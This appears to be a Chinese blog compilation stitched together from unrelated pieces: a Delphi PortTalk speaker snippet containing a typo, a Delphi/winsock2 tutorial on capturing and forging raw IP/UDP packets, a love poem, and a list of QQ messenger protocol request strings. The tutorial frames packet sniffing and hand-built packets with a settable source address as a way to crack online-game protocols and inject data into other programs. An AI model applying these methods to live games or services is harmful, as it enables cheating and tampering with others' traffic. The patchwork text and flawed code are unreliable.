本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
  uses
    windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
  if not OpenPortTalk then exit;
  outportb($43,$34);
  outportb($40,lo(Value));
  outprotb($40,hi(value));
  ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让我们一起研究一下这一个问题吧。
    别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。
    由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:
    APIHooK:
    由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。
    VXD:
    直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。
    winsock2:
    winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。
    好了,我们开始进入winsock2封包式编程吧。
    在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。
    首先我们要实现的是封包的捕获:
    Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。
    1、如何做winsock2的接口?
    1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。
    我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:
  const
    WSADESCRIPTION_LEN     =   256;
    WSASYS_STATUS_LEN      =   128;
  type
    PWSA_DATA = ^TWSA_DATA;
    WSA_DATA = record
      wVersion: Word;
      wHighVersion: Word;
      szDescription: array[0..WSADESCRIPTION_LEN] of Char;
      szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
      iMaxSockets: Word;
      iMaxUdpDg: Word;
      lpVendorInfo: PChar;
    end;
    TWSA_DATA = WSA_DATA;
    2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:
   function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

   implementation

   const WinSocket2 = 'WS2_32.DLL';
   function WSAStartup; external winsocket name 'WSAStartup';

   通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:
    1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
                   wVersionRequired: word,
                   WSData: TWSA_DATA
                  );
    2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:
INTEGER socket(af: Integer,
               Struct: Integer,
               protocol: Integer
              );  

  m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。

    3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:

Type
    IN_ADDR = record
    S_addr : PChar;
   End;

Type
   TSOCK_ADDR = record
    sin_family: Word;
    sin_port: Word;
    sin_addr : IN_ADDR
    sin_zero: array[0..7] of Char;
   End;

var
  LocalAddr:TSOCK_ADDR;

  LocalAddr.sin_family: = AF_INET;
  LocalAddr.sin_port: = 0;
  LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

  bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

    4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:

INTEGER WSAIoctl(s:INTEGER,
                 dwIoControlCode : INTEGER,
                 lpvInBuffer :INTEGER,
                 cbInBuffer : INTEGER,
                 lpvOutBuffer : INTEGER,
                 cbOutBuffer: INTEGER,
                 lpcbBytesReturned : INTEGER,
                 lpOverlapped : INTEGER,
                 lpCompletionRoutine : INTEGER
                );
    5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。
    6)在循环块里,用recv函数来接收数据,recv函数用法如下:
INTEGER recv (s : INTEGER,
              buffer:Array[0..4095] of byte,
              length : INTEGER,
              flags : INTEGER,
             );
    7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。

    看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。

在本章中,我们主要来研究一下封包的制作和发送,同样,我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1,winsock2需要自已封装一下,我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧:
首先,我们应该知道,封包是分两段的,一段是IP,一段是协议(TCP,UDP,其他协议),IP就像邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的格式及校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以UDP协议为例,介绍一下网络协议的封包与发送的全过程。
接下来,我们就可以开始看看整个封包全过程了:
    1)我们要起动sock2,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
                   wVersionRequired: word,
                   WSData: TWSA_DATA
                  );
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
    2)使用socket函数创建并得到socket句柄; 用法如下:
INTEGER socket(af: Integer,
               Struct: Integer,
               protocol: Integer
              );  
注意的是在我们的程序封包中饱含了IP包头,所以我们的Struct参数这里要传入的参数值为2,表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
    3)使用setsockopt函数设置sock的选项; 用法如下:
INTEGER setsockopt(s: Integer,
                   level: Integer,
                   optname: Integer,
                   optval: PChar,
                   optlen: Integer
                  );
在S处传入的是Socket句柄,在本程序里level输入的值为0表示IP(如果是6表示TCP,17表示UDP等~),OptName里写入2,而optval的初始值填入1,optlen为optval的大小。
    4)接下来我们要分几个步骤来实现构建封包:
  1、把IP转换成sock地址,用inet_addr来转换。
Longint  inet_addr(
                   cp: PChar
                  );
  2、定义包的总大小、IP的版本信息为IP结构:
     总包大小=IP头的大小+UDP头的大小+UDP消息的大小,
     IP的版本,在此程序里定义为4,
  3、填写IP包头的结构:
      ip.ipverlen := IP的版本 shl 4;
      ip.iptos := 0;                // IP服务类型
      ip.iptotallength := ;         // 总包大小
      ip.ipid := 0;                 // 唯一标识,一般设置为0
      ip.ipoffset := 0;             // 偏移字段
      ip.ipttl := 128;              // 超时时间
      ip.ipprotocol := $11;         // 定义协议
      ip.ipchecksum := 0 ;          // 检验总数
      ip.ipsrcaddr := ;             // 源地址
      ip.ipdestaddr := ;            // 目标地址
  4、填写UDP包头的结构:
      udp.srcportno := ;            //源端口号
      udp.dstportno := ;            //目标端口号
      udp.udplength := ;            //UDP包的大小
      udp.udpchecksum :=  ;         //检验总数
  5、把IP包头,UDP包头及消息,放入缓存。
  6、定义远程信息:
      remote.family := 2;
      remote.port :=;               //远程端口
      remote.addr.addr :=;          //远程地址

    5)我们用SendTo发送封包,用法如下:  
INTEGER sendto(s: Integer,
               var Buf: Integer,
               var len: Integer,
               var flags: Integer,
               var addrto: TSock_Addr;
               tolen: Integer
              );  
在S处传入的是Socket句柄,Buf是刚刚建好的封包,len传入封包的总长度刚刚计算过了,flag是传入标记在这里我们设为0,addto发送到的目标地址,在这里我们就传入remote就可以了,tolen写入的是remote的大小。
   
    6)到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。

最后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。如果大家还有什么问题需要和我讨论,请发邮件到microprogramer@hotmail.com或加QQ:24259132。

无题---------至熊熊

也许不能给你想要的浪漫,

也许不能像别人那样常伴你身旁,

也许不能找到合适的话题与你交谈,

也许不能给你你想要的那遍天堂。

总怪世事无常,为何不知珍惜当初美好时光。

总怪不懂浪漫,为何没有你要的知识与想像。

总怪脾气倔强,为何总是要把你的心情搞乱。

总怪工作痴狂,为何常常没有时间与你相伴。

假若还再爱我,我会尽力营造一个只属于你的温暖港湾。

假若还在一起,我会尽力去变成你的翅膀带你浪漫飞翔。

假若还能重来,我会尽力珍惜你原来的浪漫让爱没感伤。

假若不能愿谅,我会尽力目送你飞向不属于我们的天堂。

爱是什么?

也许我什么也不懂,

不懂这世事无常。

爱在眼前游荡,

却十指抓不住这温馨浪漫,

水样的在指间流淌,

曾以为我的胸膛是密且不摧的墙。

幸福在身边常伴,

两个人却无法越过名叫“永远”的水塘,

若拥有希望,

用尽一生的时光去换回当初纯真的梦想,

已然不知这梦想是否如昨天模样。

其实爱情无奇平淡,

不必追求暂时温存与浪漫,

假使若真拥有爱情,

愿意今生与你共相伴。

5月20日

QQ协议网络协议--请求部份

//登录
VER=1.0&CMD=Login&SEQ=&UIN=&PS=&M5=1&LC=9326B87B234E7235

//获取消息
VER=1.0&CMD=GetMsgEx&SEQ=&UIN=

//发送消息
VER=1.0&CMD=CLTMSG&SEQ=&UIN=&UN=&MG=

//朋友列表
VER=1.0&CMD=List&SEQ=&UIN=&TN=160&UN=0

//获取好友状态
VER=1.0&CMD=Query_Stat&SEQ=&UIN=&TN=50&UN=0

//获取好友信息
VER=1.0&CMD=GetInfo&SEQ=&UIN=&LV=2&UN=

//增加好友
VER=1.0&CMD=AddToList&SEQ=&UIN=&UN=

//回应对方请求加你为好友的响应
VER=1.0&CMD=Ack_AddToList&SEQ=&UIN=&UN=&CD=&RS=

//删除好友
VER=1.0&CMD=DelFromList&SEQ=&UIN=&UN=

//搜索好友
VER=1.0&CMD=Finger&SEQ=&UIN=&AG=&SX=&PV=

//改变自己状态,ST的代码应该和获取好友状态代码一致
VER=1.0&CMD=Change_Stat&SEQ=&UIN=&ST=

//退出登录
VER=1.0&CMD=Logout&SEQ=&UIN=